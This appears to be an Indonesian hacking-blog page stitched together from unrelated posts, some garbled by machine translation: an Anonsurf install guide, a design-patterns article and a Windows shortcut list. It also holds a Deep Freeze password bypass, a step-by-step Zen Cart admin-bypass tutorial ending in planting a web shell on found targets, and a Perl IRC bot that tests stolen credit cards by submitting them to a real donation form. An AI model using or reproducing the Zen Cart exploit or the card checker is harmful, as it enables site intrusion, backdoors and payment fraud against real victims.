Software, Film dan Artikel Terbaru dan Terpopuler - Menyediakan Software terbaru dan juga pastinya Full Version, Film terbaru yang pasti HD, dan Artikel yang bermanfaat.
Cara Install ParrotSec Sealth dan Modul Anonsurf di Kali 2.0
Pertama-tama, sebelum kita mulai, modul dan beberapa tutorial milik Und3rf10w, bukan milikku! Barang asli dari dia ada di sini: https://github.com/Und3rf10w/kali-anonsurf Halo semua!
Malam ini saya akan menunjukkan cara untuk menginstal ParrotSec Sealth dan Anonsurf modul untuk orang-orang yang ingin fitur dari ParrotOS atau anonimitas di Kali 2.0
Mari kita mulai!
Langkah 1: Start Up Kali dan Buka Terminal
Langkah 2: Ketik Command di Order
(Maaf untuk format teks buruk, aku terlalu malas untuk menulis ulang semua itu karena browser saya jatuh: /) Ketik perintah: echo "deb http://deb.i2p2.no/ jessie utama" wget -O /tmp/i2p-debian-repo.key.asc https://geti2p.net/_static/i2p-debian-repo.key.asc add apt-key /tmp/i2p-debian-repo.key.asc rm /tmp/i2p-debian-repo.key.asc apt-get Update apt-get install I2P-keyring...
Milik T.I Sniper Guys
Jika semuanya baik, lanjutkan ke langkah berikutnya! Langkah 3: Men-download dan Instalasi deb / Install ParrotSec Stealth dan Modul Anonsurf
Pergi ke https://github.com/Und3rf10w/kali-anonsurf dan download cabang, ekstrak file ZIP, dan Anda akan mendapatkan file ini, menempatkan file di desktop Anda."
Ini adalah bagian yang sulit, pertama, ketik: cd ~ / Desktop Anda akan mendapatkan sesuatu seperti ini:
Sekarang, ingat file kali-anonsurf-master? Sekarang Anda harus memberikan izin untuk membangun file .deb, atau akan melemparkan kesalahan, ketik:
chmod 0775 kali-anonsurf-master Kemudian: cd kali-anonsurf-master
Ok, perintah terakhir, waktu untuk membangun paket, ketik: dpkg-deb -b kali-anonsurf-1.0 /
Jika tidak ada yang salah, Anda harus mendapatkan ini:
Sekarang teman punya file .deb siap, waktu untuk menginstalnya! ketik ini di: apt-get -f install && dpkg -in kali-anonsurf-1.0.deb segala sesuatu harus berjalan lancar seperti ini:
Congrats! Anda telah berhasil menginstal ParrotSec Sealth dan Anonsurf modul! Berikut fitur! Anonsurf:
pandora:
Pandora otomatis menimpa RAM ketika sistem mematikan, Anda juga dapat melakukannya secara manual (tidak disarankan).
Halo Dunia! and hallo Family Programing T.I Sniper kami anak bangsa.!!
Aku SourceMaking. Saya akan memberitahu Anda banyak cerita tentang arsitektur perangkat lunak yang baik dan mengajarkan cara untuk membuat dengan pola desain. Saya akan memandu Anda melalui anti-pola, perangkap umum dan kesalahan yang dilakukan orang ketika mereka berencana, membuat, dan mengelola proyek perangkat lunak. Pada akhirnya, saya akan mengajarkan Anda bagaimana untuk mencium kode buruk dan memperbaikinya dengan refactoring.
Kita bisa mulai dari awal atau Anda dapat memilih topik yang menarik di bawah ini.
Pola desain
Dalam rekayasa perangkat lunak, pola desain adalah solusi berulang umum untuk masalah yang umum terjadi dalam desain perangkat lunak. Sebuah pola desain bukan desain jadi yang dapat diubah secara langsung ke kode. Ini adalah deskripsi atau template untuk bagaimana memecahkan masalah yang dapat digunakan dalam berbagai situasi.
Penggunaan Pola Desain
Pola desain dapat mempercepat proses pembangunan dengan menyediakan diuji, paradigma pembangunan terbukti. Desain perangkat lunak yang efektif memerlukan mempertimbangkan isu-isu yang mungkin tidak menjadi terlihat sampai nanti dalam pelaksanaannya. Menggunakan kembali pola desain membantu untuk mencegah masalah halus yang dapat menyebabkan masalah besar dan meningkatkan pembacaan kode untuk coders dan arsitek akrab dengan pola.
Sering kali, orang hanya mengerti bagaimana menerapkan teknik desain software tertentu untuk masalah tertentu. Teknik ini sulit untuk diterapkan untuk lebih luas masalah. Pola desain memberikan solusi umum, didokumentasikan dalam format yang tidak memerlukan spesifik terkait dengan masalah tertentu.
Selain itu, pola memungkinkan pengembang untuk berkomunikasi menggunakan terkenal, nama dipahami dengan baik untuk interaksi perangkat lunak. Pola desain umum dapat ditingkatkan dari waktu ke waktu, membuat mereka lebih kuat dari desain ad-hoc.
Pola desain penciptaan
Pola desain ini semua tentang kelas Instansiasi. Pola ini dapat dibagi lagi menjadi pola kelas penciptaan dan pola objek-penciptaan. Sementara pola kelas penciptaan menggunakan warisan efektif dalam proses Instansiasi, pola objek-penciptaan menggunakan delegasi efektif untuk mendapatkan pekerjaan yang dilakukan.
Pola desain ini semua tentang kelas dan komposisi Obyek. Pola kelas penciptaan struktur menggunakan warisan untuk menulis interface. Struktural objek-pola menentukan cara untuk menulis objek untuk mendapatkan fungsi baru.
Pola desain struktural
Pola desain ini semua tentang kelas dan komposisi Obyek. Pola kelas penciptaan struktur menggunakan warisan untuk menulis interface. Struktural objek-pola menentukan cara untuk menulis objek untuk mendapatkan fungsi baru.
Pola desain ini adalah semua tentang Class objek komunikasi. Pola perilaku adalah mereka pola yang paling khusus berkaitan dengan komunikasi antara objek
Mendefinisikan operasi baru untuk kelas tanpa perubahan
Kritik
Konsep pola desain telah dikritik oleh beberapa di bidang ilmu komputer.
Menargetkan masalah yang salah Kebutuhan pola hasil dari menggunakan bahasa komputer atau teknik dengan kemampuan abstraksi cukup. Di bawah anjak ideal, konsep tidak boleh disalin, tetapi hanya direferensikan. Tetapi jika ada sesuatu yang direferensikan bukan disalin, maka tidak ada "pola" untuk label dan katalog. Paul Graham menulis di Dendam esai dari Nerds.
Peter Norvig memberikan argumen yang sama. Dia menunjukkan bahwa 16 dari 23 pola dalam buku Pola Desain (yang terutama difokuskan pada C ++) disederhanakan atau dihilangkan (melalui dukungan bahasa langsung) dalam Lips atau Dylan.
Tidak memiliki dasar-dasar resmi Studi tentang pola desain telah berlebihan ad hoc, dan bahkan ada yang berpendapat bahwa konsep tersebut sangat perlu dimasukkan pada pijakan yang lebih formal. Pada OOPSLA 1999, Gang of Four adalah (dengan kerja sama mereka penuh) mengalami percobaan menunjukkan, di mana mereka "dibebankan" dengan berbagai kejahatan terhadap ilmu komputer. Mereka "dihukum" oleh ⅔ dari "juri" yang menghadiri persidangan.
Mengarah ke solusi efisien
Ide pola desain merupakan upaya untuk membakukan apa yang sudah diterima praktik terbaik. Dalam prinsip ini mungkin tampak menguntungkan, namun dalam prakteknya sering mengakibatkan duplikasi yang tidak perlu kode. Hal ini hampir selalu solusi yang lebih efisien untuk menggunakan implementasi baik-faktor daripada "cukup hanya nyaris baik" pola desain.
Tidak berbeda secara signifikan dari abstraksi lainnya
Beberapa penulis menyatakan bahwa pola-pola desain tidak berbeda secara signifikan dari bentuk-bentuk abstraksi, dan bahwa penggunaan terminologi baru (dipinjam dari komunitas arsitektur) untuk menggambarkan fenomena yang ada dalam bidang pemrograman tidak diperlukan. Model-View-Controller paradigma yang disebut-sebut sebagai contoh dari "pola" yang mendahului konsep "pola desain" oleh beberapa tahun. Hal ini lebih jauh berpendapat oleh beberapa bahwa kontribusi utama dari masyarakat Pola Desain (dan Gang of Four buku) adalah penggunaan Alexander pola bahasa sebagai bentuk dokumentasi; praktek yang sering diabaikan dalam literatur.
Antipatterns: The Survival Guide
Baca selanjutnya
Artikel ini diambil dari Pola Desain buku kami Dijelaskan Cukup.
Semua pola desain dikompilasi ada. Buku ini ditulis dengan jelas, bahasa yang sederhana yang membuatnya mudah untuk membaca dan memahami (seperti artikel ini).
Deep Freeze bisa sangat membantu kita dalam hal keamanan suatu komputer, tapi bisa saja juga sangat merepotkan bila kita lupa password Deep Freeze tersebut padahal kita ingin menginstal suatu aplikasi atau program kedalam komputer. Karena Lupa passwordnya maka yang terjadi adalah?......untuk mengatasi lupa password tersebut Anda tidak perlu bingung, Saya Santa akan membagi Tips & Triknya.
Cara mengatasinya yaitu menggunakan software yang bernama ADF (Anti Deep Freeze). Anda bisacari di google...atau bisa langsung Download Disini
Cara penggunaanya cukup mudah berikut langkah-langkahnya :
1. Download software ADF (Anti Deep Freeze) 2. Extact File tersebut sehingga menghasilkan 2 buah file yaitu Anti Deep Freeze.png dan ADF 0.1.exe 3. Untuk mematikan Deep Freeze yang lupa passwordnya anda Klik 2 pada ADF 0.1.exe
Dan pada taksbar akan tampil kepala Panda baru seperti gambar
4. Beri centang pada pilihan Select your version sesuai dengan versi Deep Freeze anda.. 5. Klik 2 kali kepala panda baru diikuti dengan menekan tombol Shift (Shift+Klik2x) 6. Biarkan kolom password kosong kemudian pilih OK. 7. Untuk mengganti password yang lama dengan password baru pilih tab password dan pada Change Password masukkan password baru.. 8. Untuk melihat hasilnya Pilih OK dan Reboot…
Dulunya saat zaman DOS, dalam mengoperasikan komputer pc, laptop, atau sejenisnya, kita memang sangat memerlukan sebuah perangkat input seperti keyboard, dan tambahan mouse. Tanpa keyboard, komputer menjadi barang pajangan dan tidak berguna. Lalu sejak munculnya sistem operasi Windows, keyboard pun lebih jarang digunakan, karena mouse lebih sering digunakan karena mudah -nya ketika mengoperasikan Windows dibandingkan memakai keyboard. Namun, sebenarnya jalan rahasia termudah yang lebih mudah dan cepat dalam mengoperasikan sistem operasi Windows adalah dengan memanfaatkan tombol shortcut rahasia dari keyboard anda. Tombol keyboard shortcut umumnya adalah kombinasi 2 atau lebih tombol pada keyboard yang ditekan secara bersamaan, ketika kombinasi tombol ini ditekan maka sabuah jalan pintas rahasia kepada suatu proses atau program terbuka. Inilah yang dapat mempersingkat waktu anda dalam mengoperasikan sistem Windows, lebih cepat dari klik mouse anda.
Berikut ini daftar tombol-tombol keyboard shortcut rahasia yang tersedia di Windows XP.
Tombol Shortcut Umum pada Keyboard Tombol CTRL + C (berguna untuk mengkopy atau menyalin item) Tombol CTRL + X (Berguna untuk meng-Cut atau memotong item) Tombol CTRL + V (Berguna untuk mem-Paste item) Tombol CTRL + Z (Berguna untuk membatalkan suatu proses terakhir) Tombol DELETE (Berguna untuk menghapus suatu item) Tombol SHIFT + DELETE (Menghapus item yang dipilih secara permanen, item yang terhapus tidak dibuang ke dalam Recycle Bin) Tombol CTRL sambil menyeret sebuah item (Menyalin item yang dipilih) Tombol CTRL + SHIFT sambil menyeret item (Buat cara pintas ke item yang dipilih) Tombol F2 key (Ubah nama item yang dipilih) Tombol CTRL + RIGHT ARROW (Memindahkan titik penyisipan ke awal kata berikutnya) Tombol CTRL + LEFT ARROW (Memindahkan titik penyisipan ke awal kata sebelumnya) Tombol CTRL + DOWN ARROW (Memindahkan titik penyisipan ke awal paragraf berikutnya) Tombol CTRL + UP ARROW (Memindahkan titik penyisipan ke awal paragraf sebelumnya) Tombol CTRL + SHIFT dengan salah satuTombol panah (Sorot blok teks) Tombol SHIFT dengan salah satu tombol panah (Pilih lebih dari satu item dalam sebuah jendela atau pada desktop, atau pilih teks dalam dokumen) Tombol CTRL + A (Select all) Tombol F3 key (Search for a file atau folder) Tombol ALT + ENTER (View properti untuk item yang dipilih) Tombol ALT + F4 (Menutup item aktif, atau keluar dari program aktif) Tombol ALT + ENTER (Menampilkan properti dari objek yang dipilih) Tombol ALT + Spacebar (Buka menu shortcut untuk jendela aktif) Tombol CTRL + F4 (Close dokumen aktif dalam program-program yang memungkinkan Anda untuk memiliki beberapa dokumen yang terbuka secara bersamaan) Tombol ALT + TAB (Switch antara item yang terbuka) Tombol ALT + ESC (Cycle melalui item dalam urutan yang mereka telah dibuka) Tombol F6 key (Cycle melalui elemen-elemen layar dalam jendela atau pada desktop) Tombol F4 key (Menampilkan the Address bar list in My Computer atau Windows Explorer) Tombol SHIFT + F10 (Menampilkan menu shortcut untuk item yang dipilih) Tombol ALT + Spacebar (Menampilkan menu Sistem untuk jendela aktif) Tombol CTRL + ESC (Menampilkan menu Start) Tombol ALT + huruf digarisbawahi dalam nama menu (Menampilkan menu yang sesuai) Tombol F10 key (Mengaktifkan menu bar dalam program aktif) Tombol RIGHT ARROW (Buka menu berikutnya ke kanan, atau membuka submenu) Tombol LEFT ARROW (Buka menu sebelah kiri, atau menutup submenu) Tombol F5 key (Update jendela aktif) Tombol BACKSPACE (View the folder one level up in My Computer atau Windows Explorer) Tombol ESC (Membatalkan tugas sekarang) Tombol SHIFT ketika Anda memasukkan CD-ROM ke dalam CD-ROM (Mencegah CD-ROM secara otomatis bermain) Tombol CTRL + SHIFT + ESC (Membuka Task Manager) Tombol PRT SCRN (Menyalin tampilan desktop ke clipboard) Tombol ALT+PRT SCRN (Menyalin tampilan jendela aktif ke clipboard)
Tombol keyboard short pada Kotak dialog Jika Anda menekan SHIFT + F8 di dalam kotak daftar seleksi tambahan, maka anda mengaktifkan modus seleksi tambahan. Dalam mode ini, Anda dapat menggunakan tombol panah untuk memindahkan kursor tanpa mengubah pilihan seleksi. Anda dapat menekan CTRL + Spacebar atau SHIFT + Spacebar untuk menyesuaikan pilihan seleksi. Untuk membatalkan pilihan diperpanjang siaga, tekan SHIFT + F8 lagi. Modus seleksi tambahan membatalkan sendiri ketika Anda memindahkan fokus ke kontrol lain.
Tombol CTRL + TAB (Bergerak maju melalui tab) Tombol CTRL + SHIFT + TAB (Bergerak mundur melalui tab) Tombol TAB (Bergerak maju melalui pilihan) Tombol SHIFT + TAB (Bergerak mundur melalui pilihan) Tombol ALT + huruf yang digarisbawahi (Tombol shortcut ini berguna Lakukan perintah yang sesuai atau pilih opsi yang sesuai) Tombol ENTER (Lakukan perintah untuk opsi atau tombol aktif) Tombol Spacebar (Pilih atau menghapus kotak centang jika pilihan yang aktif adalah check box) Tombol Arrow keys (Pilih sebuah tombol jika pilihan aktif adalah group tombol pilihan) Tombol F1 key (Display Help) Tombol F4 key (Display the item dalam daftar aktif) Tombol BACKSPACE (Open a folder satu tingkat jika folder dipilih dalam Simpan Sebagai atau Buka kotak dialog)
Tombol keyboard shortcut pada keyboard khusus Microsoft Tombol Windows Logo (Menampilkan atau menyembunyikan menu di Start) Tombol Windows Logo + BREAK (Menampilkan kotak dialog System Properties) Tombol Windows Logo + D (Menampilkan penuh desktop) Tombol Windows Logo + M (Meminimalkan semua jendela) Tombol Windows Logo + SHIFT + M (Memulihkan jendela yang diminimalkan) Tombol Windows Logo + E (Membuka My Computer) Tombol Windows Logo + F (Membuka jendela pencari file dan folder) Tombol CTRL + Windows Logo + F (Search for komputer) Tombol Windows Logo + F1 (Menampilkan Windows Help) Tombol Windows Logo + L (Mengunci keyboard) Tombol Windows Logo + R (Membuka kotak dialog Run) Tombol Windows Logo + U (Membuka Utility Manager)
Tombol keyboard shortcut yang berhubungan dengan Accessibility Tombol Right SHIFT selama delapan detik (Switch FilterKeys on atau off) Tombol Waktu ALT + left SHIFT + PRINT SCREEN (Switch High Contrast on atau off) Tombol Waktu ALT + left SHIFT + NUM LOCK (Mengaktifkan MouseKeys on atau off) Tombol SHIFT lima kali (Mengaktifkan StickyKeys on atau off) Tombol NUM LOCK selama lima detik (Mengaktifkan ToggleKeys on atau off) Tombol Windows Logo + U (Open Utility Manager)
Tombol keyboard shortcut di Windows Explorer Tombol END (Menampilkan bagian bawah jendela aktif) Tombol HOME (Menampilkan bagian atas jendela aktif) Tombol NUM LOCK + Asterisk sign (*) (Menampilkan semua subfolder yang berada di bawah folder yang dipilih) Tombol NUM LOCK + Plus sign (+) (Menampilkan isi dari folder yang dipilih) Tombol NUM LOCK + Minus sign (-) (Menampilkan isi folder yang dipilih kembali ke folder sebelumnya) Tombol LEFT ARROW (Memundurkan pilihan folder ke sebelumnya, atau pilih folder induk) Tombol RIGHT ARROW (Menampilkan pilihan folder ke sub folder selanjutnya, atau pilih subfolder pertama)
Tombol keyboard shortcut pada Peta Karakter Setelah Anda klik dua kali pada grid karakter karakter, Anda dapat bergerak melalui grid dengan menggunakan cara pintas keyboard:
Tombol RIGHT ARROW (Pindah ke kanan atau ke awal baris berikutnya) Tombol LEFT ARROW (Pindah ke kiri atau ke akhir baris sebelumnya) Tombol UP ARROW (Pindah ke atas satu baris) Tombol DOWN ARROW (Pindah ke bawah satu baris) Tombol PAGE UP (Pindah ke atas satu layar pada satu waktu) Tombol PAGE DOWN (Pindah ke bawah satu layar pada satu waktu) Tombol HOME (Pindah ke awal baris) Tombol END (Pindah ke akhir baris) Tombol CTRL + HOME (Pindah ke karakter pertama) Tombol CTRL + END (Pindah ke karakter terakhir) Tombol Spacebar (Beralih di antara modus yang membesar dan normal bila karakter dipilih)
Tombol keyboard shortcut pada Jendela utama Microsoft Management Console (MMC) Tombol CTRL + O (Buka konsol yang disimpan ) Tombol CTRL + N (Buka konsol baru) Tombol CTRL + S (Menyimpan konsol dibuka) Tombol CTRL + M (Menambah atau menghapus item konsol) Tombol CTRL + W (Buka jendela baru) Tombol Tombol F5 (Memperbarui konten semua jendela konsol) Tombol ALT + Spacebar (Menampilkan menu jendela MMC) Tombol ALT + F4 (Menutup konsol) Tombol ALT + A (Menampilkan menu Action) Tombol ALT + V (Menampilkan menu View) Tombol ALT + F (Menampilkan menu File) Tombol ALT + O (Menampilkan menu Favorites)
Tombol keyboard shortcut pada Jendela konsol MMC Tombol CTRL + P (Mencetak halaman aktif atau aktif pane) Tombol ALT + Minus sign (-) (Menampilkan menu window untuk jendela konsol yang aktif) Tombol SHIFT + F10 (Menampilkan shortcut menu Action untuk item yang dipilih) Tombol Tombol F1 (Membuka topik Bantuan, jika ada, untuk item yang dipilih) Tombol Tombol F5 (Memperbarui konten semua jendela konsol) Tombol CTRL + F10 (Memaksimalkan jendela konsol yang aktif) Tombol CTRL + F5 (Memulihkan jendela konsol yang aktif) Tombol ALT + ENTER (Menampilkan kotak dialog Properties, jika ada, untuk item yang dipilih) Tombol F2 key (Ubah nama item yang dipilih) Tombol CTRL + F4 (Menutup jendela konsol yang aktif. Ketika sebuah konsol hanya memiliki satu jendela konsol, jalan pintas ini akan menutup konsol)
Tombol shortcut navigasi pada sambungan remote desktop Tombol CTRL + ALT + END (Membuka kotak dialog Microsoft Windows NT Security) Tombol ALT + PAGE UP (Berpindah antara program dari kiri ke kanan) Tombol ALT + PAGE DOWN (Berpindah antara program dari kanan ke kiri) Tombol ALT + INSERT (Cycle melalui program-program yang terakhir digunakan di sebagian besar order) Tombol ALT + HOME (Menampilkan menu Start) Tombol CTRL + ALT + BREAK (Berpindah klien komputer antara jendela dan layar penuh) Tombol ALT + DELETE (Menampilkan menu Windows) Tombol CTRL + ALT + Minus sign (-) (Menempatkan sebuah snapshot dari seluruh area jendela klien pada clipboard server Terminal dan menyediakan fungsi yang sama dengan menekan ALT + PRINT SCREEN pada komputer lokal.) Tombol CTRL + ALT + Plus sign (+) (Menempatkan sebuah snapshot dari jendela aktif klien pada clipboard server Terminal dan menyediakan fungsi yang sama dengan menekan PRINT SCREEN pada komputer lokal.)
Tombol shortcut navigasi Microsoft Internet Explorer Tombol CTRL + B (Membuka kotak dialog Organize Favorites) Tombol CTRL + E (Membuka Search bar) Tombol CTRL + F (Memulai utiliti Find) Tombol CTRL + H (Membuka History bar) Tombol CTRL + I (Membuka Favorites bar) Tombol CTRL + L (Membuka kotak dialog Open) Tombol CTRL + N (Membuka salinan jendela baru dari halaman browser sekarang dengan alamat Web yang sama) Tombol CTRL + O (Membuka kotak dialog Buka, sama seperti CTRL + L) Tombol CTRL + P (Membuka kotak dialog Print) Tombol CTRL + R (Memperbarui halaman Web ini) Tombol CTRL + W (Menutup jendela aktif
Karena banyak yg minta agar bug ZC dipublish, maka kali ini saya akan mencoba memberikan tutor bug lawas ini. meskipun di mesin pencari google, sudah banyak tutor ZC yg terpublish, mengapa kok masih ada aja yg minta tutorial ini ?? Itulah yg saya herankan selama ini....
Pertama-tama, siapkan dulu beberapa syarat untuk melaksanakan kegiatan ini : Makan Kue Berger :v ya...!! Kopi secangkir saja.. Laptop cukup merk LENOVO.. ^_^ Koneksi internet yang memadai Mari kita cari di google beberapa target yg memadai, ketik dork standar2 aja kayak "Powered by Zen Cart"
Setelah itu, cek satu per satu site untuk menentukan target site yg masih vuln, hal ini harus dilakukan karena bug zc sudah lama beredar sekitar tahun 2008. Berikut cara penentuan site yg vuln :
http://domain.com/halamanadmin/index.php//password_forgotten.php Apabila site vuln, maka akan muncul seperti ini :
gambar diatas, menunjukkan bahwa kita telah memasuki halaman admin site, setelah itu langsung saja kita masuk ke dalam halaman define_pages_editor.php dengan cara :
http://domain.com/halamanadmin/define_pages_editor.php//password_forgotten.php Gambar nya muncul seperti :
dari keterangan gambar diatas, kita akan merubah tampilan main_page agar dapat mengakses file shell kita, karena database membaca nya dari angka 0, maka kita akan mengakses nya dg angka 4 :
Setelah itu langsung view source, nah silahkan lakukan copy pada kode merah bertuliskan <form hingga sampai dengan </form>
Lalu buat file baru define.html kemudian paste code yg telah kalian copy tadi kedalam file tersebut.Lalu rubah halaman target dan tambahkan //password_forgotten.php setelah itu save file.Lihat gambar dibawah ini bila masih bingung :
Mari kita buka file tersebut dan kita isi coding shell yg akan kita tanamkan ke target.
Lalu akses site target, maka backdoor mu langsung muncul dihalaman terdepan, langsung deh upload shell anda :)
Nb: - jangan lupa mengembalikan lagi halaman depan site target yg telah anda rubah tadi. - bila halaman define_pages_editor tertulis error_file_not_writeable, kita bisa upload file kita di banner_manager.php / record_company.php / yang laennya.... Thank's My Family T.I Sniper
Script Bot Check CC, just modified the merchant and form, it will be worked ... :)
#!/usr/lib/perl
#Call to standalone modules directory BEGIN{push(@INC,'Modules');}
#Modules Inclusion use LWP::Socket; use LWP::UserAgent; use HTTP::Request; use Parallel::ForkManager; use MIME::Base64 (); use WWW::Mechanize; use WWW::Mechanize::FormFiller; use Socket; use IO::Socket; use IO::Socket::INET; use MIME::Base64;
$| = 1;
#Defines global variable/array my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork); my(@chans,@admins,@user_agents);
if($msg{'what'} =~ /\!help/){ &respond_to_privmsg(\%msg," 6,1 Checker Status 9[ON] 8| 10IF You need Private Checker 0/msg HackAttack"); &respond_to_privmsg(\%msg," 0,1!chk <cc> <expdate> <cvv2> - 11 Visa , MasterCard");
} if($msg{'what'} =~ /\!chk 1 2 3/){
&respond_to_privmsg(\%msg,"$nick : invalid format <cc> <expdate> <cvv2>");
}
############################################################################################ ################################################################################## if($msg{'what'} =~ /\!chk status/ ) { open (FILE, "data.txt") or die "Can't open file: $!"; my ($lines) = (0); while (<FILE>) { $lines++; } &respond_to_privmsg(\%msg," 7,1#HackAttack 0: 14 Total 10$lines 14card checked 0- 100 14credit available"); } ################################ Status by HackAttack ################################ ##################################################################################
if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/) { my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $range = 15; my $minimum =1.200 ; my $dolar = '$'; my $random_number = int(rand($range)) + $minimum;
my $rechecklist = "data.txt"; open FILE,"$rechecklist"; my @results = <FILE>; close FILE; my $chkResVar = 0; foreach my $cRes(@results) { if($cRes =~ /$numerocarta\|(.*)/) { $chkResVar = 1; &respond_to_privmsg(\%msg," 7,1 $nick 00: 03 $numerocarta 00: 4Already checked! "); goto finish; } }
my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://secure16.activehost.com/roseensemble/donate.html'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; $agent->form_number(1); { local $^W; $agent->current_form->value('concert-name', 'List my name in concert programs as'); }; { local $^W; $agent->current_form->value('donorname', 'mark smith'); }; { local $^W; $agent->current_form->value('memoriam', 'This gift is in memory of'); }; { local $^W; $agent->current_form->value('inmemory', 'This gift is in memory of honor'); }; { local $^W; $agent->current_form->value('creditCardType', 'varType'); }; { local $^W; $agent->current_form->value('CCnumber', ''.$numerocarta.''); }; { local $^W; $agent->current_form->value('CCexp', '20'.$var1.var2.''); }; { local $^W; $agent->current_form->value('ccv', ''.$verifica.''); }; { local $^W; $agent->current_form->value('realname', 'mark smith'); }; { local $^W; $agent->current_form->value('CCaddress', 'las heras 32'); }; { local $^W; $agent->current_form->value('city', 'Detroit'); }; { local $^W; $agent->current_form->value('state', 'AL'); }; { local $^W; $agent->current_form->value('zip_code', '05544'); }; { local $^W; $agent->current_form->value('phone', '1569841055'); }; $agent->submit(); print $agent->content,"\n"; my $allo=$agent->content; my $file = "data.txt"; open (MYFILE, ">>$file"); print MYFILE "$numerocarta|$expmes$expanio|$verifica\n"; close (MYFILE); my $allo=$agent->content; if ($allo =~/The transaction has been declined because of an AVS mismatch. /){ my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!"; } } }elsif ($allo =~/This transaction has been declined./){
my $database = "banklist.txt"; open FILE,"$database" or die "Errore nell'apertura: $!"; my @results=<FILE>; close FILE; my $bankinfo = $1; my $nuova = substr($numerocarta,0,6); foreach my $url (@results){ if($url =~ m/$nuova\|(.*)/){ my $bankinfo = $1; &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!"; } } }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/Credit card expiration date is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. "); }elsif ($allo =~/There was a problem with your order./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/The credit card has expired./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4The credit card has expired."); }elsif ($allo =~/The credit card expiration date entered is not valid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4is not Valid "); }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/A duplicate transaction has been submitted./){ &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! "); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. "); }elsif ($allo =~/This transaction has been declined./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! "); }elsif ($allo =~/This transaction requires voice authentication/){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! "); }elsif ($allo =~/The credit card number is invalid./){ &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. "); } }
if($msg{'what'} =~ /\!bank\s(\d{6})/){ my $bankinfo = $1; my $database = "banklist.txt"; open FILE,"$database" or die "Can't open file: $database"; my @results=<FILE>; close FILE; my $bankvar = 0; my $chkvar = 0; my $nuova = substr($bankinfo,0,6); foreach my $url (@results){ if($url =~ /$bankinfo\|(.*)/){ if($bankvar == 0) { $bankvar = 1; &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1$1 "); goto finish; } } else{ $chkvar = 1; } } if($chkvar == 1) { &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1Unknown "); } finish: }
if($msg{'what'} =~ /^!ip (.*)/) { my ($iploca) = ($1); &respond_to_privmsg(\%msg,""); print "\n"; my $agent = WWW::Mechanize->new( autocheck => 1 ); my $formfiller = WWW::Mechanize::FormFiller->new(); $agent->env_proxy(); $agent->get('http://www.ipligence.com/geolocation'); $agent->form_number(1) if $agent->forms and scalar @{$agent->forms}; { local $^W; $agent->current_form->value('ip', ''.$iploca.''); }; $agent->submit(); print $agent->content,"\n"; my $ipse=$agent->content; if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){ my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4); &respond_to_privmsg(\%msg," 7,1 Ip City 15: 9$city 0| 7Ip Country 15: 9$country 0| 7Continent 15: 9$continent"); } elsif ($ipse =~/Invalid address or IP not found/){ &respond_to_privmsg(\%msg," 4,1Invalid IP Address!"); } }
if($msg{'what'} =~ /\!ccnononononononononononono\s(\d{16})\s(\d{4})\s(\d{3})/) { my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,); my $var1 = substr($expmes,0,2); my $var2 = substr($expmes,2,4); my $range = 15; my $minimum =100 ; my $random_number = int(rand($range)) + $minimum;
print "inizio mechanize sacha\n";
